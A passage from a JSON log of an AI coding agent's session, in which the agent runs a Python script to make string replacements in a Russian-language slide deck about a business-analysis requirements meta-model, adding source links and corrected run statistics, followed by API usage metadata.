\u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4.\\\"\\\"\\\",\\n\\\"\\\"\\\"[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 6%](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4.\\\"\\\"\\\")\\nold4_start=s.index(\\\"**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f\\\")\\nold4_end=s.index(\\\"**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438\\\")\\ns=s[:old4_start]+\\\"\\\"\\\"**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\\n  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u0432\u0433\u0443\u0441\u0442:** 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432\\n  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0448\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\\n> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\\n\\n\\\"\\\"\\\"+s[old4_end:]\\nr(\\\"\\\"\\\"[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\\"\\\"\\\",\\n\\\"\\\"\\\"[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),\\n[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n[\u0432\u0445\u043e\u0434\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0416\u0430\u043a\u043a\u0430\u0440 0.077](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md),\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-deprecate-run-modes.md).\\\"\\\"\\\",\\n\\\"\\\"\\\"[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md),\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\\"\\\"\\\")\\nr(\\\"\\\"\\\"- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u041e\u0434\u043d\u0438\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u043c \u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\\"\\\"\\\",\\n\\\"\\\"\\\"- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u0414\u0430\u0436\u0435 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u0430\u0451\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"> **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0059 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u044f\\n> endpoint'\u043e\u0432; RUN-0060 \u0434\u0430\u043b 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430\\n> \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\\"\\\"\\\",\\n\\\"\\\"\\\"> **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0018 \u2014 \u043f\u0440\u043e\u043c\u043f\u0442 \u0438\u0437 8 \u0448\u0430\u0433\u043e\u0432 \u0441 \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438,\\n> 8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430,\\n> \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb. RUN-0059 \u0441 fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c\\n> \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0445 endpoint'\u043e\u0432.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7.\\\"\\\"\\\",\\n\\\"\\\"\\\"[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n[\u043a\u0435\u0439\u0441 RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-DEV, V-CONTRACT | \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0447\u0430\u0441\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d\u0430 |\\\"\\\"\\\",\\n\\\"\\\"\\\"| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-BIZ, V-APPROVE, V-DEV, V-CONTRACT | \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0432 \u043f\u0430\u043a\u0435\u0442\u0435; \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 |\\\"\\\"\\\")\\nr(\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. 860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043d\u043e\u0432\u043e\u0433\u043e.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](\\\"\\\"\\\",\\n\\\"\\\"\\\"[860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0432 14 \u0441\u043b\u043e\u0442\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md),\\n[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](\\\"\\\"\\\")\\nr(\\\"\\\"\\\"| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430, \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 |\\\"\\\"\\\",\\\"\\\"\\\"| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 (\u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026), 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 |\\\"\\\"\\\")\\nr(\\\"\\\"\\\"| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 |\\\"\\\"\\\",\\\"\\\"\\\"| 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0431\u0435\u0437 \u043f\u0440\u0430\u0432\u043a\u0438 | [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md) |\\n| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 |\\\"\\\"\\\")\\nopen(p,'w').write(s)\\nEOF\\ngrep -n \\\"\u0416\u0430\u043a\u043a\u0430\u0440\u0443\\\\|13 \u0437\u0430\u0434\u0430\u0447\\\" 2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:06.850Z] [INFO]           \"description\": \"Apply verified-fact edits to slides\"\n[2026-09-29T07:51:06.850Z] [INFO]         },\n[2026-09-29T07:51:06.850Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:06.850Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:06.850Z] [INFO]         }\n[2026-09-29T07:51:06.850Z] [INFO]       }\n[2026-09-29T07:51:06.850Z] [INFO]     ],\n[2026-09-29T07:51:06.850Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:06.850Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:06.850Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:06.850Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:06.850Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:06.850Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:06.850Z] [INFO]       \"cache_creation_input_tokens\": 593,\n[2026-09-29T07:51:06.850Z] [INFO]       \"cache_read_input_tokens\": 94254,\n[2026-09-29T07:51:06.850Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:06.850Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:06.850Z] [INFO]         \"ephemeral_1h_input_tokens\": 593\n[2026-09-29T07:51:06.850Z] [INFO]       },\n[2026-09-29T07:51:06.850Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:06.850Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:06.850Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:06.850Z] [INFO]     },\n[2026-09-29T07:51:06.850Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:06.850Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:06.850Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:06.850Z] [INFO]   },\n[2026-09-29T07:51:06.850Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:06.850Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:06.850Z] [INFO]   \"uuid\": \"92bb1c5f-0567-4b1a-9db5-9a52778887cd\",\n[2026-09-29T07:51:06.850Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:06.803Z\",\n[2026-09-29T07:51:06.850Z] [INFO]   \"request_id\": \"req_011CfXNACCNotG2DQoPDo5XS\",\n[2026-09-29T07:51:06.850Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:06.850Z] [INFO]     \"toolu_014xtVUv2an1KDVJwJkCaQo8\": {\n[2026-09-29T07:51:06.850Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation && python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\ndef r(a,b):\\n    global s\\n    assert s.count(a)==1, a[:60]\\n    s=s.replace(a,b)\\nr(\\\"\\\"\\\"- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441 42 \u0430\u043d\u0430\u043b\u043e\u0433\u0430\u043c\u0438 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445, \u043a\u0430\u0436\u0434\u0430\u044f \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0441\\n  \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u043c\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c\u0438.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u2014 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c,\\n> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\\"\\\"\\\",\\n\\\"\\\"\\\"> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445 \u2014 \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439\\n> \u0441\u043b\u043e\u0432\u0430\u0440\u044c, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n- \u0418\u0442\u043e\u0433 \u0440\u0443\u0447\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\\n  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014 6%.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 